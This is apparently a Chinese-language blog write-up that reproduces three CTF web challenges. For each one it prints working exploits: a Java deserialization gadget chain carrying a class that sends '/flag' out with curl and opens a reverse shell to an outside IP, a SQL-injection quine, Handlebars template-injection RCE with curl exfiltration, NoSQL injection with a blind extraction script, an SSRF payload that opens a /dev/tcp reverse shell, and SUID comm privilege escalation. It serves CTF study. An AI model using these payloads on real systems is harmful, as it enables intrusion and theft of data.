东华杯本地复现

参考wp:https://blog.csdn.net/rfrder/article/details/121072948

ezgadget

审一波源码

    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021)
            objectInputStream.readObject();
        return "welcome bro.";
    }
}

可以看到/readobject有反序列化。

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public String toString() {
        ToStringBean toStringBean = new ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;
        try {
            Obj = clazz.newInstance();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return "enjoy it.";
    }
}

toStringBean这个类里面有defineClass可以利用defineClass在java反序列化当中的利用
当时因为看到有jackson依赖,就想着打jackson。但是又不知道怎么触发toString。直接不会了。然后wp里面是根据cc5链想到BadAttributeValueExpException类里面的toString。看来之前只会用工具打java不太行,于是学习了一波cc链:JAVA反序列化 - Commons-Collections组件cc5:Java安全之Commons Collections5分析然后现在分析一波wp。先写个恶意类,将flag外带:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Exp extends AbstractTranslet
{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public Exp() {
        try {
            String[] command = { "/bin/sh", "-c", "curl http://47.96.173.116:2333 -d @/flag" };
            Runtime.getRuntime().exec(command);
        }
        catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public static void main(final String[] array) {
    }
}

在源码里面的pom.xml给了环境为java8,所以直接拿java8编译成class文件,然后base64输出


把base64放到poc里面。分析一波poc:

package com.ezgame.ctf;

import com.ezgame.ctf.tools.ToStringBean;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class poc {
    public static void main(String[] args) throws Exception{
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = clazz.getDeclaredField("val");
        field.setAccessible(true);
        ToStringBean toStringBean = new ToStringBean();
        field.set(badAttributeValueExpException,toStringBean);
        byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh" +
                "bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
                "YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv" +
                "bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+" +
                "AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n" +
                "OylWAQAKU291cmNlRmlsZQEACEV4cC5qYXZhDAATABQBABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jp" +
                "bi9zaAEAAi1jAQArYmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQcA" +
                "KQwAKgArDAAsAC0BABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAuABQBAANFeHABAEBjb20vc3VuL29y" +
                "Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5" +
                "Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9u" +
                "AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7" +
                "AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmlu" +
                "dFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYA" +
                "AQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAARABAA" +
                "AAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIFU0y4AAYr" +
                "tgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAjABgAJAAZ" +
                "ACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAAAAEADwAA" +
                "AAYAAQAAAB4AAQAaAAAAAgAb");
        clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");
        field = clazz.getDeclaredField("ClassByte");
        field.setAccessible(true);
        field.set(toStringBean,classByte);

        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeUTF("gadgets");
        oout.writeInt(2021);
        oout.writeObject(badAttributeValueExpException);
        byte[] bytes = bout.toByteArray();
        byte[] encode = Base64.getEncoder().encode(bytes);
        System.out.println(new String(encode));
    }

}

根据cc5的利用源码:

TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

tiemap是写好的反序列化payload,在这题,我们只需要修改这个payload即可。所以下面就对toStringBean进行了一波构造,最后得到反序列的base64,为了防止+号被认为空格,所以还要urlencode。然后在/readobject上传即可或得flag。

eznode

审一波代码。

router.post('/', async function (req, res, next) {
    let username = req.body.username;
    let password = req.body.password;
    if (check(username) && check(password)) {
        let sql = `select * from user where username='${username}' and password = '${password}'`;
        const result = await select(sql)
            .then(close())
            .catch(err => { console.log(err); });
        console.log(result);
        if(result){
            if (result.username == username && password == result.password) {
                res.cookie('token', result, { signed: true });
                res.send("yes");
            } else {
                res.send("username or password error")
            }
        } else{
            res.send('no')
        }
    } else {
        res.send("Fak OFF HACKER");
    }
});

发现登录有sql注入

const check = (word) => {
    try {
        let flag = false
        const blacklist = ['\\', '\^', ')','(', '\"', '\'', '*', ')', ' '];
        blacklist.forEach(ele => {
            if (word.indexOf(ele) != -1) {
                flag = true
                return false;
            }
        })
        if (flag == true) {
            return false;
        }
        return word;
    }
    catch (error) {
        console.log(error);
    }

}

然后这里有过滤。然后居然可以用数组绕过。特地在网上搜了一下这个indexof咋回事


如果是字符串数组,直接把数组里面每个元素进行比较。当我们传Array("asd'")的时候,它将比较asd‘==’,所以直接绕过了。我们还需要绕过password == result.password,第五空间考过,但是当时没有认真分析,现在直接亡羊补牢。相关资料https://www.shysecurity.com/post/20140705-SQLi-Quine
把payload单独拿出来进行测试,看看到底什么原理:
'/**/union/**/SELECT/**/'admin',REPLACE(REPLACE('"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#',CHAR(34),CHAR(39)),CHAR(63),'"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#')#
看起来一团糟。按照单双引号闭合分析,先执行REPLACE('"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#',CHAR(34),CHAR(39))

它把"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#这个字符串里面的双引号替换为单引号,所以出现上面的结果。
我们化简一下:
REPLACE(“'/**/union/**/SELECT/**/'admin',REPLACE(REPLACE('?',CHAR(34),CHAR(39)),CHAR(63),'?')#”,CHAR(63),'"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#')#

好乱。继续根据单双引号闭合分析。这是最后的replace。意思是把'/**/union/**/SELECT/**/'admin',REPLACE(REPLACE('?',CHAR(34),CHAR(39)),CHAR(63),'?')#里面的?替换为"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#
所以把问号的地方填入这个,然后惊人的发现,就是

'/**/union/**/SELECT/**/'admin',REPLACE(REPLACE('"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#',CHAR(34),CHAR(39)),CHAR(63),'"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#')#

这个不就是我们原来注入的语句吗,这个就是Quine:https://en.wikipedia.org/wiki/Quine_%28computing%29
能自行返回自己源码的代码。本地调试一波:


由于本地多了1列,union要保证列数相同,所以加了id,可以看到password好像被修改了。

其实并没有,这跟union有关

union是取并集,password为空的结果不存在,所以并不是表内的结果,而是union的结果,导致我们似乎修改了管理员密码。最终,我们绕过了password == result.password,登录了admin。然后继续审代码。
有个文件上传,还有一个模板渲染

router.post('/admin', checkLogin, function (req, res, next) {
    var name = req.body.name ? req.body.name : "admin";
    res.render('admin', name)
});

// 还未上线..., checkLogin
router.post('/upload', checkLogin, upload.any(), function (req, res, next) {

    fs.readFile(req.files[0].path, function (err, data) {  
            if (err) {
                console.log(err);
            } else {
                response = {
                    message: 'File uploaded successfully',
                    filename: req.files[0].path
                };
            res.end(JSON.stringify(response));
        }
    });
})

(听说可以直接在vscode上搭建会提示hbs漏洞)但是我在phpstorm上就没有提示。所以根据wp,找一波package.json。

{
  "name": "app",
  "version": "0.0.0",
  "private": true,
  "scripts": {
    "start": "node ./bin/www",
    "dev": "nodemon index.js -e js"
  },
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "crypto": "^1.0.1",
    "debug": "~2.6.9",
    "express": "~4.16.1",
    "hbs": "^4.0.1",
    "http-errors": "~1.6.3",
    "morgan": "~1.9.1",
    "multer": "^1.4.3",
    "mysql": "^2.18.1",
    "path": "^0.12.7",
    "sequelize": "^6.7.0"
  }
}

hbs漏洞。两个cve一起:漏洞挖掘:Handlebars库 模板注入导致RCE 0day
https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/
先来一个hbs的poc:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return global.process.mainModule.constructor._load('child_process').exec('curl http://47.96.173.116:2333/ -d @/flag')"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

然后直接上传返回路径。
然后用另外一个cve,在admin上进行渲染:

{"name":{"feng":"777","settings":{"views":".","view options":{"layout":"upload_tmp/1636092885890.jpg"}}}}

然后即可得到flag。

OldLibarary

代码审计一波。可以看到登录有注入:

db_table := Conn.DB("ctf").C("users")
    result := User{}
    err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"') {return true;}}"}).One(&result)

在handler.go有用户名提示:


由于执行语句是js写的,可以进行万能密码登录:username=administrator&password='||this.username=='administrator
也可以来一个脚本跑密码:

import requests

url = 'http://127.0.0.1:8888/signin'
files = {"file": "123"}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
cookies = {"PHPSESSID": "123"}

result = ''
i = 0
while (1):
    left = 32
    right = 128
    while (1):
        mid = (left + right) // 2
        if left == right:
            result += chr(left)
            print(result)
            i += 1
            break
        if chr(mid) == '\\':
            temp = '\\\\'
        else:
            temp = chr(mid)
        payload = {
            "username": f"admin888' || this.password[{i}] > '{temp}')return true; else if ('a' == 'b",
            "password": "123"}
        res = requests.post(url=url, data=payload).text
        if 'Are You Kidding Me' in res:
            left = mid + 1
        else:
            right = mid
    if (right == 32):
        break
print('[*]Result ' + result)

然后直接登录admin即可。

func makepdf(title, author, description, covers string) string {
    // Create new PDF generator
    pdfg, err := wkhtmltopdf.NewPDFGenerator()
    if err != nil {
        fmt.Println(err)
    }

    template := "<!DOCTYPE html>" +
                "<html lang='en'>" +
                "<head>" +
                "<meta charset='UTF-8'>" +
                "<meta name='viewport' content='width=device-width, initial-scale=1.0'>" +
                "<title>Library</title>" +
                "</head>" +
                "<body>" +
                "<center>" + 
                "<h2>Book description</h2>" +
                "<table border='1' cellpadding='10'>" +
                "<tr>" +
                "<th>Book Title</th>" +
                "<td>" + title + "</td>" +
                "</tr>" +
                "<tr>" +
                "<th>Author</th>" +
                "<td>" + author + "</td>" +
                "</tr>" +
                "<tr>" +
                "<th> Content Abstract </th>" +
                "<td>" + description + "</td>" +
                "</tr>" +
                "</table>" +
                "<br><img src='covers/" + covers + "' height='300'>" +
                "</center>" +
                "</body>" +
                "</html>"

    pdfg.AddPage(wkhtmltopdf.NewPageReader(strings.NewReader(template)))

    err = pdfg.Create()
    if err != nil {
        fmt.Println(err)
    }

    err = pdfg.WriteFile("./upload/pdf/" + title + ".pdf")
    if err != nil {
        fmt.Println(err)
    }

    return template
}

makepdf这里将html转换为pdf。然后在/delete有一个代码注入执行:

func DeleteController(c *gin.Context) {    // The function is temporarily inaccessible

    var filename Filename
    if err := c.ShouldBindJSON(&filename); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }

    cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" + filename.Filename)
    if err := cmd.Run(); err != nil {
        fmt.Println(err)
        return
    }

    c.String(http.StatusOK, fmt.Sprintf("File Deleted Successfully"))
}

但是需要本地才能访问。

func IPCheckMiddleWare() gin.HandlerFunc {
    return func(c *gin.Context) {
        if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {
            c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})
            return
        }

        c.Next()
    }
}

所以需要ssrf进行执行。明显makepdf也能进行html注入,直接尝试一波:

1</td><script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1:8888/delete', true);
httpRequest.setRequestHeader("Content-type","application/json");
var obj = { "filename":"asd.pdf;bash -i >& /dev/tcp/47.96.173.116/2333 0>&1" };
httpRequest.send(JSON.stringify(obj));
</script><td>1

将这个写在title或者author那些字符串拼接的地方:


然后反弹shell。需要提权才能读取到flag。看到comm有suid。

所以直接comm /flagggisshere /etc/passwd

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇